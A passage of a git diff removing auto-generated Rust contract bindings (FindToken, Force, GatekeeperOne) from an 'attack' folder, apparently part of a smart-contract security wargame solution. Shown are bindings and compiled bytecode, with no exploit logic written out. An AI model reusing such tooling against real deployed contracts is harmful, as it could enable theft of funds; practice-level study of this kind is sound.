~\xF5]\x9D\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x82Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x81\x16`\x04\x84\x01R\x90\x92P\x82\x16\x90b\xF5]\x9D\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xDEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xF2W=`\0\x80>=`\0\xFD[PPPPPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x1DW`\0\x80\xFD[PV[`\0\x80`@\x83\x85\x03\x12\x15a\x023W`\0\x80\xFD[\x825a\x02>\x81a\x01\xFBV[\x91P` \x83\x015a\x02N\x81a\x01\xFBV[\x80\x91PP\x92P\x92\x90PV\xFE\xA2dipfsX\"\x12 \0\xB6\x10\xAA\xAA\xEC\x9Bl\xF1\x1DC\xFE\x83>\x9E\xF9\xD4K,\x94,\xA5B\x8Ec\x06\xD7\x9FvX\x9B\xA6dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static FINDTOKEN_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c\x04\xFA\xBA;\x14a\0;W\x80c\x8D\xA5\xCB[\x14a\0PW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02 V[a\0\x99V[\0[`\0Ta\0p\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01`@Q\x80\x91\x03\x90\xF3[`@Q\x7F\xD6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` \x82\x01R\x7F\x94\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`!\x82\x01R\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0``\x84\x90\x1B\x16`\"\x82\x01R\x7F\x01\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`6\x82\x01R`\0\x90`7\x01`@\x80Q\x80\x83\x03\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x01\x81R\x90\x82\x90R\x80Q` \x90\x91\x01 ~\xF5]\x9D\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x82Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x81\x16`\x04\x84\x01R\x90\x92P\x82\x16\x90b\xF5]\x9D\x90`$\x01`\0`@Q\x80\x83\x03\x81`\0\x87\x80;\x15\x80\x15a\x01\xDEW`\0\x80\xFD[PZ\xF1\x15\x80\x15a\x01\xF2W=`\0\x80>=`\0\xFD[PPPPPPPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x1DW`\0\x80\xFD[PV[`\0\x80`@\x83\x85\x03\x12\x15a\x023W`\0\x80\xFD[\x825a\x02>\x81a\x01\xFBV[\x91P` \x83\x015a\x02N\x81a\x01\xFBV[\x80\x91PP\x92P\x92\x90PV\xFE\xA2dipfsX\"\x12 \0\xB6\x10\xAA\xAA\xEC\x9Bl\xF1\x1DC\xFE\x83>\x9E\xF9\xD4K,\x94,\xA5B\x8Ec\x06\xD7\x9FvX\x9B\xA6dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static FINDTOKEN_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct FindToken(::ethers::contract::Contract); - impl ::core::clone::Clone for FindToken { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for FindToken { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for FindToken { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for FindToken { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(FindToken)) - .field(&self.address()) - .finish() - } - } - impl FindToken { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - FINDTOKEN_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - FINDTOKEN_ABI.clone(), - FINDTOKEN_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `boom` (0x04faba3b) - /// function - pub fn boom( - &self, - creator: ::ethers::core::types::Address, - offender: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([4, 250, 186, 59], (creator, offender)) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for FindToken - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `boom` function with signature - /// `boom(address,address)` and selector `0x04faba3b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom(address,address)")] - pub struct BoomCall { - pub creator: ::ethers::core::types::Address, - pub offender: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum FindTokenCalls { - Boom(BoomCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for FindTokenCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for FindTokenCalls { - fn encode(self) -> Vec { - match self { - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for FindTokenCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for FindTokenCalls { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From for FindTokenCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/force.rs b/attack/src/abi/force.rs deleted file mode 100644 index acb8ac7..0000000 --- a/attack/src/abi/force.rs +++ /dev/null @@ -1,127 +0,0 @@ -pub use force::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod force { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::std::collections::BTreeMap::new(), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static FORCE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`?\x80`\x1D`\09`\0\xF3\xFE`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xC6j\xFF\xE2\x9E]\x98T\xC8\x0F\xB5\x0Fx0b\xF2)%\xCAof\x1Ds\x1D\xAD\x0B\x16bC\x0Ee3dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static FORCE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xC6j\xFF\xE2\x9E]\x98T\xC8\x0F\xB5\x0Fx0b\xF2)%\xCAof\x1Ds\x1D\xAD\x0B\x16bC\x0Ee3dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static FORCE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Force(::ethers::contract::Contract); - impl ::core::clone::Clone for Force { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Force { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Force { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Force { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Force)) - .field(&self.address()) - .finish() - } - } - impl Force { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - FORCE_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - FORCE_ABI.clone(), - FORCE_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - } - impl - From<::ethers::contract::Contract> for Force - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } -} diff --git a/attack/src/abi/gatekeeper_one.rs b/attack/src/abi/gatekeeper_one.rs deleted file mode 100644 index e7b45a9..0000000 --- a/attack/src/abi/gatekeeper_one.rs +++ /dev/null @@ -1,317 +0,0 @@ -pub use gatekeeper_one::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod gatekeeper_one { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("enter"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("enter"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_gateKey"), - kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( - 8usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bytes8"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("entrant"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("entrant"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static GATEKEEPERONE_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x03\x96\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\xDCV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[a\x1F\xFFZa\0\xC4\x91\x90a\x03%V[\x15a\0\xCEW`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01sW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part one\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x02\x0CW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part two\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\xA8W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part three\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xEEW`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x03\x1EW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x03[W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 FP\x90\xE3y\xF4C\xE33\x85\x0Cs\xFFjyo|\x03|\xBE\xFA\xF4\x81n\xA5\xF6?y\x0E\x1F\x8B\x1FdsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static GATEKEEPERONE_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\xDCV[a\0\xA8V[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0\x83\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\xB6W`\0\x80\xFD[a\x1F\xFFZa\0\xC4\x91\x90a\x03%V[\x15a\0\xCEW`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01sW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part one\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x02\x0CW`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part two\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\xA8W`@Q\x7F\x08\xC3y\xA0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01R\x7F part three\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`d\x82\x01R`\x84\x01a\x01jV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\xEEW`\0\x80\xFD[\x815\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81\x16\x81\x14a\x03\x1EW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x03[W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 FP\x90\xE3y\xF4C\xE33\x85\x0Cs\xFFjyo|\x03|\xBE\xFA\xF4\x81n\xA5\xF6?y\x0E\x1F\x8B\x1FdsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static GATEKEEPERONE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct GatekeeperOne(::ethers::contract::Contract); - impl ::core::clone::Clone for GatekeeperOne { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for GatekeeperOne { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for GatekeeperOne { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for GatekeeperOne { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(GatekeeperOne)) - .field(&self.address()) - .finish() - } - } - impl GatekeeperOne { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - GATEKEEPERONE_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - GATEKEEPERONE_ABI.clone(), - GATEKEEPERONE_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `enter` (0x3370204e) - /// function - pub fn enter( - &self, - gate_key: [u8; 8], - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([51, 112, 32, 78], gate_key) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `entrant` (0x9db31d77) - /// function - pub fn entrant( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([157, 179, 29, 119], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for GatekeeperOne - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `enter` function with signature `enter(bytes8)` and - /// selector `0x3370204e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "enter", abi = "enter(bytes8)")] - pub struct EnterCall { - pub gate_key: [u8; 8], - } - ///Container type for all input parameters for the - /// `entrant` function with signature `entrant()` and - /// selector `0x9db31d77` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "entrant", abi = "entrant()")] - pub struct EntrantCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum GatekeeperOneCalls { - Enter(EnterCall), - Entrant(EntrantCall), - } - impl ::ethers::core::abi::AbiDecode for GatekeeperOneCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Enter(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Entrant(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for GatekeeperOneCalls { - fn encode(self) -> Vec { - match self { - Self::Enter(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Entrant(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for GatekeeperOneCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Enter(element) => ::core::fmt::Display::fmt(element, f), - Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for GatekeeperOneCalls { - fn from(value: EnterCall) -> Self { Self::Enter(value) } - } - impl ::core::convert::From for GatekeeperOneCalls { - fn from(value: EntrantCall) -> Self { Self::Entrant(value) } - } - ///Container type for all return fields from the - /// `enter` function with signature `enter(bytes8)` and - /// selector `0x3370204e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct EnterReturn(pub bool); - ///Container type for all return fields from the - /// `entrant` function with signature `entrant()` and - /// selector `0x9db31d77` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - 